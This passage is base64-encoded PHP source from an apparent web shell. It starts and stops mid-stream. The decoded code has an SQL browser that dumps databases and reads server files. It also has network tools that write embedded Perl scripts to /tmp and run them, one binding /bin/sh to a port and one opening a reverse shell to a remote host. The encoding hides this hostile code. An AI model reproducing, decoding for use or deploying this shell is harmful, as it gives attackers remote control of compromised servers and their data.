CAkc3FsID0gIlxuXHQsKCIuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyknOw0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KCQkJCQl9DQogICAgICAgICAgICAgICAgICAgIGlmKCEkaGVhZCkNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgIjtcblxuIik7IGVsc2UgZWNobygiO1xuXG4iKTsNCgkJCQlicmVhazsNCgkJCQljYXNlICdwZ3NxbCc6DQoJCQkJCSR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsNCgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsNCgkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGs9PiR2KSB7DQoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCgkJCQkJCQkkY29sdW1uc1tdID0gJGs7DQoJCQkJCQl9DQogICAgICAgICAgICAgICAgICAgICAgICAkc3FsID0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgKCcuaW1wbG9kZSgiLCAiLCAkY29sdW1ucykuJykgVkFMVUVTICgnLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpOycuIlxuIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgZndyaXRlKCRmcCwgJHNxbCk7IGVsc2UgZWNobygkc3FsKTsNCgkJCQkJfQ0KCQkJCWJyZWFrOw0KCQkJfQ0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoJfTsNCgkkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7DQoJaWYoQCRfUE9TVFsncDInXT09J2Rvd25sb2FkJykgew0KCQkkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSk7DQoJCSRkYi0+c2VsZWN0ZGIoJF9QT1NUWydzcWxfYmFzZSddKTsNCiAgICAgICAgc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQogICAgICAgICAgICBjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NwMTI1MScpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCiAgICAgICAgICAgIGNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQogICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgIH0NCiAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydmaWxlJ10pKSB7DQogICAgICAgICAgICBvYl9zdGFydCgib2JfZ3poYW5kbGVyIiwgNDA5Nik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPWR1bXAuc3FsIik7DQogICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOw0KICAgICAgICAgICAgZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KCQkJCSRkYi0+ZHVtcCgkdik7DQogICAgICAgICAgICBleGl0Ow0KICAgICAgICB9IGVsc2VpZigkZnAgPSBAZm9wZW4oJF9QT1NUWydmaWxlJ10sICd3JykpIHsNCiAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWyd0YmwnXSBhcyAkdikNCiAgICAgICAgICAgICAgICAkZGItPmR1bXAoJHYsICRmcCk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIHVuc2V0KCRfUE9TVFsncDInXSk7DQogICAgICAgIH0gZWxzZQ0KICAgICAgICAgICAgZGllKCc8c2NyaXB0PmFsZXJ0KCJFcnJvciEgQ2FuXCd0IG9wZW4gZmlsZSIpO3dpbmRvdy5oaXN0b3J5LmJhY2soLTEpPC9zY3JpcHQ+Jyk7DQoJfQ0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICINCjxoMT5TcWwgYnJvd3NlcjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KPGZvcm0gbmFtZT0nc2YnIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9J2ZzKHRoaXMpOyc+PHRhYmxlIGNlbGxwYWRkaW5nPScyJyBjZWxsc3BhY2luZz0nMCc+PHRyPg0KPHRkPlR5cGU8L3RkPjx0ZD5Ib3N0PC90ZD48dGQ+TG9naW48L3RkPjx0ZD5QYXNzd29yZDwvdGQ+PHRkPkRhdGFiYXNlPC90ZD48dGQ+PC90ZD48L3RyPjx0cj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSdxdWVyeSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9Jyc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciLiAoaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKSAuIic+DQo8dGQ+PHNlbGVjdCBuYW1lPSd0eXBlJz48b3B0aW9uIHZhbHVlPSdteXNxbCcgIjsNCiAgICBpZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGdzcWwnICI7DQppZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpIC4iJz48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKSAuIic+PC90ZD48dGQ+IjsNCgkkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOw0KCWlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpew0KCQlpZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsNCgkJCXN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KCQkJCWNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOw0KCQkJCWNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KCQkJCWNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQoJCQkJY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCgkJCQljYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQoJCQl9DQoJCQkkZGItPmxpc3REYnMoKTsNCgkJCWVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7DQoJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgew0KCQkJCWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KCQkJCWVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7DQoJCQl9DQoJCQllY2hvICc8L3NlbGVjdD4nOw0KCQl9DQoJCWVsc2UgZWNobyAkdG1wOw0KCX1lbHNlDQoJCWVjaG8gJHRtcDsNCgllY2hvICI8L3RkPg0KCQkJCTx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9c3FsX2NvdW50IHZhbHVlPSdvbiciIC4gKGVtcHR5KCRfUE9TVFsnc3FsX2NvdW50J10pPycnOicgY2hlY2tlZCcpIC4gIj4gY291bnQgdGhlIG51bWJlciBvZiByb3dzPC90ZD4NCgkJCTwvdHI+DQoJCTwvdGFibGU+DQoJCTxzY3JpcHQ+DQogICAgICAgICAgICBzX2RiPSciLkBhZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7DQogICAgICAgICAgICBmdW5jdGlvbiBmcyhmKSB7DQogICAgICAgICAgICAgICAgaWYoZi5zcWxfYmFzZS52YWx1ZSE9c19kYikgeyBmLm9uc3VibWl0ID0gZnVuY3Rpb24oKSB7fTsNCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMSkgZi5wMS52YWx1ZT0nJzsNCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMikgZi5wMi52YWx1ZT0nJzsNCiAgICAgICAgICAgICAgICAgICAgaWYoZi5wMykgZi5wMy52YWx1ZT0nJzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQoJCQlmdW5jdGlvbiBzdCh0LGwpIHsNCgkJCQlkLnNmLnAxLnZhbHVlID0gJ3NlbGVjdCc7DQoJCQkJZC5zZi5wMi52YWx1ZSA9IHQ7DQogICAgICAgICAgICAgICAgaWYobCAmJiBkLnNmLnAzKSBkLnNmLnAzLnZhbHVlID0gbDsNCgkJCQlkLnNmLnN1Ym1pdCgpOw0KCQkJfQ0KCQkJZnVuY3Rpb24gaXMoKSB7DQoJCQkJZm9yKGk9MDtpPGQuc2YuZWxlbWVudHNbJ3RibFtdJ10ubGVuZ3RoOysraSkNCgkJCQkJZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkID0gIWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZDsNCgkJCX0NCgkJPC9zY3JpcHQ+IjsNCglpZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7DQoJCWVjaG8gIjxici8+PHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MiBjZWxsc3BhY2luZz0wPiI7DQoJCQlpZighZW1wdHkoJF9QT1NUWydzcWxfYmFzZSddKSl7DQoJCQkJJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KCQkJCWVjaG8gIjx0cj48dGQgd2lkdGg9MSBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOw0KCQkJCSR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOw0KCQkJCXdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7DQoJCQkJCWxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSkpDQogICAgICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOw0KCQkJCQkkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7DQoJCQkJCWVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJywxKVwiPiIuJHZhbHVlLiI8L2E+IiAuIChlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKT8nJm5ic3A7JzoiIDxzbWFsbD4oeyRuWyduJ119KTwvc21hbGw+IikgLiAiPC9ub2JyPjxicj4iOw0KCQkJCX0NCgkJCQllY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48YnI+RmlsZSBwYXRoOjxpbnB1dCB0eXBlPXRleHQgbmFtZT1maWxlIHZhbHVlPSdkdW1wLnNxbCc+PC90ZD48dGQgc3R5bGU9J2JvcmRlci10b3A6MnB4IHNvbGlkICM2NjY7Jz4iOw0KCQkJCWlmKEAkX1BPU1RbJ3AxJ10gPT0gJ3NlbGVjdCcpIHsNCgkJCQkJJF9QT1NUWydwMSddID0gJ3F1ZXJ5JzsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJF9QT1NUWydwMyddPyRfUE9TVFsncDMnXToxOw0KCQkJCQkkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcgLiAkX1BPU1RbJ3AyJ10pOw0KCQkJCQkkbnVtID0gJGRiLT5mZXRjaCgpOw0KCQkJCQkkcGFnZXMgPSBjZWlsKCRudW1bJ24nXSAvIDMwKTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNjcmlwdD5kLnNmLm9uc3VibWl0PWZ1bmN0aW9uKCl7c3QoXCIiIC4gJF9QT1NUWydwMiddIC4gIlwiLCBkLnNmLnAzLnZhbHVlKX08L3NjcmlwdD48c3Bhbj4iLiRfUE9TVFsncDInXS4iPC9zcGFuPiAoeyRudW1bJ24nXX0gcmVjb3JkcykgUGFnZSAjIDxpbnB1dCB0eXBlPXRleHQgbmFtZT0ncDMnIHZhbHVlPSIgLiAoKGludCkkX1BPU1RbJ3AzJ10pIC4gIj4iOw0KICAgICAgICAgICAgICAgICAgICBlY2hvICIgb2YgJHBhZ2VzIjsNCiAgICAgICAgICAgICAgICAgICAgaWYoJF9QT1NUWydwMyddID4gMSkNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIiA8YSBocmVmPSMgb25jbGljaz0nc3QoXCIiIC4gJF9QT1NUWydwMiddIC4gJyIsICcgLiAoJF9QT1NUWydwMyddLTEpIC4gIiknPiZsdDsgUHJldjwvYT4iOw0KICAgICAgICAgICAgICAgICAgICBpZigkX1BPU1RbJ3AzJ10gPCAkcGFnZXMpDQogICAgICAgICAgICAgICAgICAgICAgICBlY2hvICIgPGEgaHJlZj0jIG9uY2xpY2s9J3N0KFwiIiAuICRfUE9TVFsncDInXSAuICciLCAnIC4gKCRfUE9TVFsncDMnXSsxKSAuICIpJz5OZXh0ICZndDs8L2E+IjsNCiAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddLS07DQoJCQkJCWlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQ0KCQkJCQkJJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsNCgkJCQkJZWxzZQ0KCQkJCQkJJF9QT1NUWydwMiddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7DQoJCQkJCWVjaG8gIjxicj48YnI+IjsNCgkJCQl9DQoJCQkJaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCgkJCQkJJGRiLT5xdWVyeShAJF9QT1NUWydwMiddKTsNCgkJCQkJaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7DQoJCQkJCQkkdGl0bGUgPSBmYWxzZTsNCgkJCQkJCWVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyOTI5MjkiPic7DQoJCQkJCQkkbGluZSA9IDE7DQoJCQkJCQl3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkJew0KCQkJCQkJCWlmKCEkdGl0bGUpCXsNCgkJCQkJCQkJZWNobyAnPHRyPic7DQoJCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpDQoJCQkJCQkJCQllY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7DQoJCQkJCQkJCXJlc2V0KCRpdGVtKTsNCgkJCQkJCQkJJHRpdGxlPXRydWU7DQoJCQkJCQkJCWVjaG8gJzwvdHI+PHRyPic7DQoJCQkJCQkJCSRsaW5lID0gMjsNCgkJCQkJCQl9DQoJCQkJCQkJZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOw0KCQkJCQkJCSRsaW5lID0gJGxpbmU9PTE/MjoxOw0KCQkJCQkJCWZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsNCgkJCQkJCQkJaWYoJHZhbHVlID09IG51bGwpDQoJCQkJCQkJCQllY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7DQoJCQkJCQkJCWVsc2UNCgkJCQkJCQkJCWVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsNCgkJCQkJCQl9DQoJCQkJCQkJZWNobyAnPC90cj4nOw0KCQkJCQkJfQ0KCQkJCQkJZWNobyAnPC90YWJsZT4nOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVjaG8gIjxicj48L2Zvcm0+PGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJxdWVyeVwiO2Quc2YucDIudmFsdWU9dGhpcy5xdWVyeS52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48dGV4dGFyZWEgbmFtZT0ncXVlcnknIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+IjsNCiAgICAgICAgICAgICAgICBpZighZW1wdHkoJF9QT1NUWydwMiddKSAmJiAoJF9QT1NUWydwMSddICE9ICdsb2FkZmlsZScpKQ0KICAgICAgICAgICAgICAgICAgICBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMiddKTsNCiAgICAgICAgICAgICAgICBlY2hvICI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOw0KCQkJCWVjaG8gIjwvdGQ+PC90cj4iOw0KCQkJfQ0KCQkJZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz4iOw0KICAgICAgICAgICAgaWYoJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpIHsNCiAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCJTRUxFQ1QgMSBGUk9NIG15c3FsLnVzZXIgV0hFUkUgY29uY2F0KGB1c2VyYCwgJ0AnLCBgaG9zdGApID0gVVNFUigpIEFORCBgRmlsZV9wcml2YCA9ICd5JyIpOw0KICAgICAgICAgICAgICAgIGlmKCRkYi0+ZmV0Y2goKSkNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPGZvcm0gb25zdWJtaXQ9J2Quc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOw0KICAgICAgICAgICAgfQ0KCQkJaWYoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7DQoJCQkJJGZpbGUgPSAkZGItPmxvYWRGaWxlKCRfUE9TVFsncDInXSk7DQoJCQkJZWNobyAnPHByZSBjbGFzcz1tbDE+Jy5odG1sc3BlY2lhbGNoYXJzKCRmaWxlWydmaWxlJ10pLic8L3ByZT4nOw0KCQkJfQ0KCX0gZWxzZSB7DQogICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpOw0KICAgIH0NCgllY2hvICc8L2Rpdj4nOw0KCUJPRkZGb290ZXIoKTsNCn0NCmZ1bmN0aW9uIGFjdGlvbk5ldHdvcmsoKSB7DQoJQk9GRkhlYWRlcigpOw0KCSRiYWNrX2Nvbm5lY3RfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUXAxYzJVZ1UyOWphMlYwT3cwS0pHbGhaR1J5UFdsdVpYUmZZWFJ2Ymlna1FWSkhWbHN3WFNrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSQlVrZFdXekZkTENBa2FXRmtaSElwSUh4OElHUnBaU2dpUlhKeWIzSTZJQ1FoWEc0aUtUc05DaVJ3Y205MGJ6MW5aWFJ3Y205MGIySjVibUZ0WlNnbmRHTndKeWs3RFFwemIyTnJaWFFvVTA5RFMwVlVMQ0JRUmw5SlRrVlVMQ0JUVDBOTFgxTlVVa1ZCVFN3Z0pIQnliM1J2S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFVDFWVUxDQWlQaVpUVDBOTFJWUWlLVHNOQ205d1pXNG9VMVJFUlZKU0xDQWlQaVpUVDBOTFJWUWlLVHNOQ25ONWMzUmxiU2duTDJKcGJpOXphQ0F0YVNjcE93MEtZMnh2YzJVb1UxUkVTVTRwT3cwS1kyeHZjMlVvVTFSRVQxVlVLVHNOQ21Oc2IzTmxLRk5VUkVWU1VpazciOw0KCSRiaW5kX3BvcnRfcD0iSXlFdmRYTnlMMkpwYmk5d1pYSnNEUW9rVTBoRlRFdzlJaTlpYVc0dmMyZ2dMV2tpT3cwS2FXWWdLRUJCVWtkV0lEd2dNU2tnZXlCbGVHbDBLREVwT3lCOURRcDFjMlVnVTI5amEyVjBPdzBLYzI5amEyVjBLRk1zSmxCR1gwbE9SVlFzSmxOUFEwdGZVMVJTUlVGTkxHZGxkSEJ5YjNSdllubHVZVzFsS0NkMFkzQW5LU2tnZkh3Z1pHbGxJQ0pEWVc1MElHTnlaV0YwWlNCemIyTnJaWFJjYmlJN0RRcHpaWFJ6YjJOcmIzQjBLRk1zVTA5TVgxTlBRMHRGVkN4VFQxOVNSVlZUUlVGRVJGSXNNU2s3RFFwaWFXNWtLRk1zYzI5amEyRmtaSEpmYVc0b0pFRlNSMVpiTUYwc1NVNUJSRVJTWDBGT1dTa3BJSHg4SUdScFpTQWlRMkZ1ZENCdmNHVnVJSEJ2Y25SY2JpSTdEUXBzYVhOMFpXNG9VeXd6S1NCOGZDQmthV1VnSWtOaGJuUWdiR2x6ZEdWdUlIQnZjblJjYmlJN0RRcDNhR2xzWlNneEtTQjdEUW9KWVdOalpYQjBLRU5QVGs0c1V5azdEUW9KYVdZb0lTZ2tjR2xrUFdadmNtc3BLU0I3RFFvSkNXUnBaU0FpUTJGdWJtOTBJR1p2Y21zaUlHbG1JQ2doWkdWbWFXNWxaQ0FrY0dsa0tUc05DZ2tKYjNCbGJpQlRWRVJKVGl3aVBDWkRUMDVPSWpzTkNna0piM0JsYmlCVFZFUlBWVlFzSWo0bVEwOU9UaUk3RFFvSkNXOXdaVzRnVTFSRVJWSlNMQ0krSmtOUFRrNGlPdzBLQ1FsbGVHVmpJQ1JUU0VWTVRDQjhmQ0JrYVdVZ2NISnBiblFnUTA5T1RpQWlRMkZ1ZENCbGVHVmpkWFJsSUNSVFNFVk1URnh1SWpzTkNna0pZMnh2YzJVZ1EwOU9UanNOQ2drSlpYaHBkQ0F3T3cwS0NYME5DbjA9IjsNCgllY2hvICI8aDE+TmV0d29yayB0b29sczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYnBwJyx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj4NCgk8c3Bhbj5CaW5kIHBvcnQgdG8gL2Jpbi9zaCBbcGVybF08L3NwYW4+PGJyLz4NCglQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzMxMzM3Jz4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSc+Pic+DQoJPC9mb3JtPg0KCTxmb3JtIG5hbWU9J25mcCcgb25TdWJtaXQ9XCJnKG51bGwsbnVsbCwnYmNwJyx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTtcIj4NCgk8c3Bhbj5CYWNrLWNvbm5lY3QgIFtwZXJsXTwvc3Bhbj48YnIvPg0KCVNlcnZlcjogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz4gUG9ydDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSczMTMzNyc+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPg0KCTwvZm9ybT48YnI+IjsNCglpZihpc3NldCgkX1BPU1RbJ3AxJ10pKSB7DQoJCWZ1bmN0aW9uIGNmKCRmLCR0KSB7DQoJCQkkdyA9IEBmb3BlbigkZiwidyIpIG9yIEBmdW5jdGlvbl9leGlzdHMoJ2ZpbGVfcHV0X2NvbnRlbnRzJyk7DQoJCQlpZigkdyl7DQoJCQkJQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpOw0KCQkJCUBmY2xvc2UoJHcpOw0KCQkJfQ0KCQl9DQoJCWlmKCRfUE9TVFsncDEnXSA9PSAnYnBwJykgew0KCQkJY2YoIi90bXAvYnAucGwiLCRiaW5kX3BvcnRfcCk7DQoJCQkkb3V0ID0gQk9GRkV4KCJwZXJsIC90bXAvYnAucGwgIi4kX1BPU1RbJ3AyJ10uIiAxPi9kZXYvbnVsbCAyPiYxICYiKTsNCgkJCWVjaG8gIjxwcmUgY2xhc3M9bWwxPiRvdXRcbiIuQk9GRkV4KCJwcyBhdXggfCBncmVwIGJwLnBsIikuIjwvcHJlPiI7DQogICAgICAgICAgICB1bmxpbmsoIi90bXAvYnAucGwiKTsNCgkJfQ0KCQlpZigkX1BPU1RbJ3AxJ10gPT0gJ2JjcCcpIHsNCgkJCWNmKCIvdG1wL2JjLnBsIiwkYmFja19jb25uZWN0X3ApOw0KCQkJJG91dCA9IEJPRkZFeCgicGVybCAvdG1wL2JjLnBsICIuJF9QT1NUWydwMiddLiIgIi4kX1BPU1RbJ3AzJ10uIiAxPi9kZX